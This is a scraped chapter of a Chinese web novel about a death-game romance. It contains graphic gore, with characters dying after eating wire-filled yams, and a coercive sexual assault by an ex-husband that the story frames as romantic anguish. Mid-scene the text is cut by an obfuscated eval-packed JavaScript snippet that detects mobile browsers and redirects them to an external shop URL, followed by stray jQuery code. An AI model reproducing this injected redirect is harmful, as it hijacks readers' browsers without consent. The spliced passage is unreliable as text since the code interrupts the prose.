文趣网 > 其他小说 > 生存游戏遇上病娇前夫 > 21. 林檎,是你逼我的
    左玦那边不住传来呕吐的声音。

    “啊啊啊你怀了吗?所以吐了!我就说,你肯定能怀小蛋糕的啊——”

    左玦的声音不像是乔饰,反倒是极其痛苦的样子,甚至还不住剧烈咳嗽着。

    ……寻常山药怎么可能吃成这样?

    左玦,吃到了钢丝山药!

    他们亲手将钢丝一点点插进去的山药!

    林檎浑身冰寒,浑身打战,颤抖着紧紧握着贺渊捏住她脖颈的手。

    “小蛋糕好吃吗?嘻嘻嘻,你要生小蛋糕,我也要生!我也吃!”

    骷髅女大快朵颐的声音传来,没有任何异常。

    “哈哈哈哈哈好吃好吃,我也要生小蛋糕,我也要……咳咳,我也要,咳咳……呕!!!”

    “哈哈哈哈哈,小蛋糕好吃,好吃——有点辣,怎么是辣的,放了洋葱吗?哈哈哈哈,我要生下……”

    粗壮乔木前。

    左玦不住干呕着,看着骷髅女吃下了一整个山药,终于唇角勾起一抹笑。

    然后,唇角溢出血沫,猛地一下将口中钢丝吐出。

    带着血与肉,满地的钢丝。

    随后,左玦缓缓抬起了头——

    骷髅女好像感受不到疼痛一样,颇为好奇地看向他:“你……吐出东西来了?”

    丝毫没有发现她嘴角早已溢出了鲜血。

    她大笑起来:“你……吐了!你吐了!你要生了!”

    她笑得癫狂,嘴巴张得老大,露出被割成一条条的舌头。

    鲜血不住从她口中溢出,可她却好像半分都感受不到疼痛一般,亢奋笑着。

    “咳咳……好呛,这个洋葱……好辣,怎么这么辣!我要投诉!我要打电话举报!我要让它开不下去,做的什么口味……咳咳,呕——”

    她跪坐在地,慢慢呕着。

    然后,面上浮现出幸福的笑容,头耷拉在地上。

    一声充满金铁铮鸣的钟声响起。

    也是在此刻,贺渊松开了林檎的手。

    林檎一怔。

    然后心中焦急,走了出去,看见满面是血,早已没了气息的骷髅女。

    和……一旁被绑在树上的左玦。

    左玦低着头,没有任何反应。

    糟了!

    林檎立刻走了过去,要去解左玦的深锁,却发现骷髅女早就打了无数个绳结,密密麻麻,即使是拿匕首也无法立刻斩断。

    “咳咳……林檎。”少年虚弱低哑的嗓音响起。

    林檎立刻走了过去!

    左玦无力垂着头:“我……我没有力气了,你帮我扶着我的脸,我有话要说。”

    林檎有些犹豫。

    但是左玦的唇角仍然在不断滴着鲜血。

    现在的左玦,应当没有任何威胁吧。

    她想了会儿,还是犹豫着伸出手,扶住了左玦的面颊。

    左玦借着她的力气缓缓仰起面容。

    一张苍□□致的面容,唇角溢满了鲜血。

    他笑:“林檎,最后还能看见你,真好。”

    林檎倏然一怔:“……你?”

    左玦有些为难地笑笑,有些讥嘲道:“我的腿,已经烂了,完全不能走了,这几天失血又过多,我……咳咳,活不成了。”

    左玦刻意隐去了他方才吞下的铁丝山药,没有说出口。

    但是他不说,不代表林檎不知道……

    铁丝扎得又密又尖利,纵使左玦再有本事,难道能吐出所有的铁丝吗?

    正如他此刻,甚至连睁开眼睛都很困难了,面容上不时流露出痛苦到极致,失去表情管理的难堪。

    “哈……林檎,我,我有话想对你说。”

    林檎:……

    她忽然感到畏惧。

    畏惧于眼睁睁看着一条生命在眼前流逝,说着对于人世间最后的眷恋。

    左玦:“如果可以,帮我和我师父……咳咳,武当山上的云一道长,说一声,我是去修行了,给他老人家,找龙脉去了……”

    林檎深吸一口气:“如果我最后能出去,我一定帮你办到。”

    左玦轻轻点了点头,然后他漂亮澄澈的双眼里流露出一丝茫然。

    左玦的视线穿过林檎,落在了不远处正在收拾武器的贺渊身上,深思了会儿。

    林檎:“……左玦?还有什么吗?你想说什么?”

    左玦深深看了她一眼:

    “贺渊他——”

    林檎静静听了下去。

    左玦却是忽然勾了勾唇角:

    “悄悄话,靠近一点。”

    她心头顿时一跳,然后凑近了脸。

    “贺渊他啊——”

    左玦:“他……好像,不是这里的人。”

    林檎皱眉:“什么意思,那是……?”

    左玦:“我自小修行,跟着师父也略通一些观面断人之术,但是贺渊实在是太诡异了,诡异到,好像是一个彻彻底底的——”

    “外来者。”

    林檎瞳孔微缩:“什么叫外来者?”

    她无比认真继续凑近,结果颊侧却落下蜻蜓点水的一吻。

    林檎双眸睁大。

    这……

    是左玦?亲了她的脸颊?

    她有些错愕起身,看向左玦。

    他眨了眨一只眼睛,随后勉强笑道:

    “好啦,我有点困了,我要睡了。”

    林檎瞳孔微缩,被震得完全不知道该说什么,一时竟然呆在了原地。

    见他闭上眼睛,必然已经到了极限。

    林檎心头流露出无限不忍:

    “你……还有什么想要的?还有什么愿望吗?”

    左玦闭着眼睛,咳嗽了两下,随后笑道:

    “有啊,求复活卷轴一份。”

    林檎荒谬一笑。

    “你真的是,怎么说这些——”

    然后,她亲眼看着左玦的手指无力垂落。

    接踵而至的是一道钟声。

    激起她满心震荡。

    她定定看着被绑在树上一动不动的左玦,僵住了。

    她有些怔住了,遂伸出手,去触碰左玦的面颊,方才她捧住的。

    尚且带着温热,皮肤仍然弹性十足。

    可是——他死了。

    林檎脱力坐在地上。

    脑中是方才左玦还有些戏谑的“求复活卷轴一张”,和那个莫名其妙,没有前情也没有解释的蜻蜓点水的一吻。

    为什么?

    她真的想不通。

    左玦死了,是她的错吗?还是贺渊的错?

    她发现她根本想不通。

    就那么呆坐着,直至篝火的光,被一个身影挡住。

    贺渊居高临下盯着她,向她伸出手:

    “该回去了。”

    林檎犹豫着,贺渊却没给她拒绝的机会,直接拉了她起来。

    她大脑嗡嗡乱响,麻木跟着贺渊,直至回到了白日所在。

    然后发现,贺渊带着方才所有的武器,包括弓箭——

    她眸光一闪。

    贺渊显然看到了她的眼神,然后便像是刻意要向她确定似的,逡巡在她面上。

    ……又看她。

    左玦都死了,贺渊……他还在看什么?

    看什么啊——!

    林檎平静回视,然后忽然心口升出一股厌恶来,只觉得胸口好像堵了一团什么极为恶心的东西。

    她生生呕吐起来。

    想要把所有都吐出来,把五脏六腑全部吐出,将自己的心脏吐出来,只余下一副干干净净的躯壳——

    干呕了许久,方才听得耳边近乎是恶鬼般的声音。

    “看着我就恶心?”

    阴森狠厉的话入耳,而她此刻却也生不出半分害怕之心了,只余心底的蔑视和讥讽。

    林檎平息了呼吸,然后缓缓站了起来,努力让自己的视线和贺渊平齐。

    随后讥讽扬唇:“……贺渊,我从游戏开始到现在,已经忍得够久了,如今我再也不想忍了。”

    “你除了会杀人威胁人,你还会什么?”

    “怎么,以为拿着我的性命威胁我,你就能永操胜券?怎么样,看着我挣扎求生很有意思吧——”

    她越说言辞越尖利,越说越口不择言,要将所有的不满和恶心全部倾泻而出。

    “你说的真是半点没错,我就是恶心你,非常恶心,恶心到要吐!!!”

    贺渊一句一句听着她的话。

    他浅色琉璃色的双眼,原本就尖利到锋芒毕露,如今更是逐渐生出恶意和恨意来。

    浓黑翻涌在他双眸间。

    剧烈涌动,好似深夜的海域般汹涌。

    他道:“那为什么,要反复来找我。”

    话音一落,他的视线重新努力聚焦,聚焦在她的身上。

    林檎立刻讥讽扬唇:“因为我要利用你啊!这都看不透吗?!”

    贺渊:“利用,甚至不惜以身——”

    林檎:“以身又如何!”

    她这一句话划过了黑夜,决绝而不留任何情面。

    脑海里陡然又浮现出她想要表明心迹,却被他狎昵动作打断,堵住她的话的场景。

    她是用过心的!她是想要和贺渊说清楚的,可是贺渊他根本无药可救!根本听不进去!

    可笑可叹她反反复复心软。

    “以身也没关系?”他轻蔑笑着追问。

    林檎:“这种事情,又有什么好说的,你不会觉得,这能代表什么吧——”

    下一秒,她被拽着手腕推倒,整个人被压倒在地——

    贺渊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863495|212119||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跨坐在她身上。

    眼神冰寒,向她伸出手来——

    林檎下意识缩紧了自己的脖子。

    贺渊的手却只是握住了她的脸。

    “为什么。”贺渊轻轻开口。

    “我给过你机会吧,离开我,那你离开不就好了。”

    “为什么,要反反复复?”

    林檎怀疑自己看错了。

    在那一瞬,竟然在贺渊身上看到了……痛苦。

    他将膝盖抵在她的□□,双臂支在她肩旁。

    “为什么,总是要离开我。”

    林檎瞳孔微缩。

    她不知道为什么,为什么贺渊要做出这种姿态,好像她是那个负心人,好像她才是罪恶满盈之人。

    她不懂啊。

    她觉得头脑好痛,整个人本来就已经疲惫到麻木了,可是为什么——

    为什么贺渊现在却又拿出了这种态度——

    为什么又要这样啊,为什么要软化自己的态度,为什么要让她再度去企盼那一点点几乎是不可能的希望——

    脖颈间,滴落了什么滚烫的。

    林檎懵了。

    心中方寸大乱,她有些错愕要开口,想要问候贺渊——

    却是被一股不容置疑的力气捏住了脸。

    “林檎,是你逼我的……”

    他抬起浸着泪的双眼,眼中含着恨意毫不留情扯开她的背心——

    滚烫的吐息和湿润的泪水混杂在一起,在夜色中闪闪发光。

    她心中生出绝望来。

    想挣扎,可是努力聚出一点力气去抵抗,就被腿间的膝盖再度前碾。

    碾出罪恶的欲望。

    “你别逼我恨你!贺渊!”

    身上的动作半分没停。

    混杂着疼痛和快意,没有半分怜香惜玉肆意妄为——

    “三年过去,很寂寞吧?”

    “第一次和左玦见面,就给他包扎,贴那么近,如果不是我出现,你们要不要抱到一起去?要不要做些更过分的事情?嗯?”

    “被我捧高的时候,你看着我的时候,在想他吗——?”

    “你们私底下究竟做到哪一步了,为什么他刚才亲你?嗯?”

    他的指尖越来越肆意妄为,顺着她的小腹要继续往下——

    贺渊怎么能这么怀疑她——

    一股怒火自心头烧起,然后她猛地摸向腰间,毫不犹豫拔出匕首,比在了贺渊脖颈前。

    那一瞬间,心头略过一丝恍惚。

    竟然如此顺利?

    贺渊难道没有反应过来?为什么不压制她?

    贺渊低头看向他脖颈间的匕首。

    林檎:“放开我!”

    贺渊看了那匕首一会儿,随后笑得邪气,继续了自己的动作——

    “想拦我的话,那就杀了我吧。如果做不到,那就好好承受着。”

    “不然就让我去看看,你心里的究竟是谁……”

    她颤抖着手,将匕首尖端比在了他的大动脉处。

    毫无疑问,只要一刀扎下,他必然会当场死掉。

    简直就是千载难逢的机会。

    匕首尖端挑开了贺渊脖颈的皮肤。

    瞬间,血珠冒了出来。

    林檎毫不怀疑,只要自己再用力一点,贺渊就会死。

    大脑已经累到几乎麻木,麻木到她根本无力去思考,究竟要不要下刀子。

    疲惫到,眼尾聚出无力的泪水。

    身体轻轻颤抖。

    贺渊好像半分没有感受到脖颈间的疼痛似的,反而是抬头,甚至因为抬头的动作,而将自己的脖颈往匕首尖再刺了些——

    砰。

    匕首落地。

    她绝望捂住自己的脸。

    原本还只是聚在眼尾的泪水,决堤而出,纵横而下。

    她哭得抽噎。

    哪怕身上还跨坐着贺渊。

    她哭得实在是太伤心太伤心了。

    因为她竟然可耻得发现,哪怕在这种情况下,哪怕确信自己再用力一点点就可以雪恨,可她仍然下不了手。

    “……林檎。”

    贺渊的声音宛若魔咒般响起。

    她畏惧,她要逃避,她都已经放下刀了,还想怎么样!不要再逼她了,不要再逼她去想这一切究竟是对是错——

    她捂住面颊的手,被轻轻握住,然后拉开。

    一声叹息响起。

    五指悄然垫在了她脑后,浑身被包裹进一个怀抱。

    “……别哭。”

    “我不做了,别哭,别哭……”

    脖颈间再度濡湿,不是她的泪。

    “对不起。”

    “都是我不好,对不起……”

    低而艰涩的嗓音响起,却生生将她的心撕扯得更痛。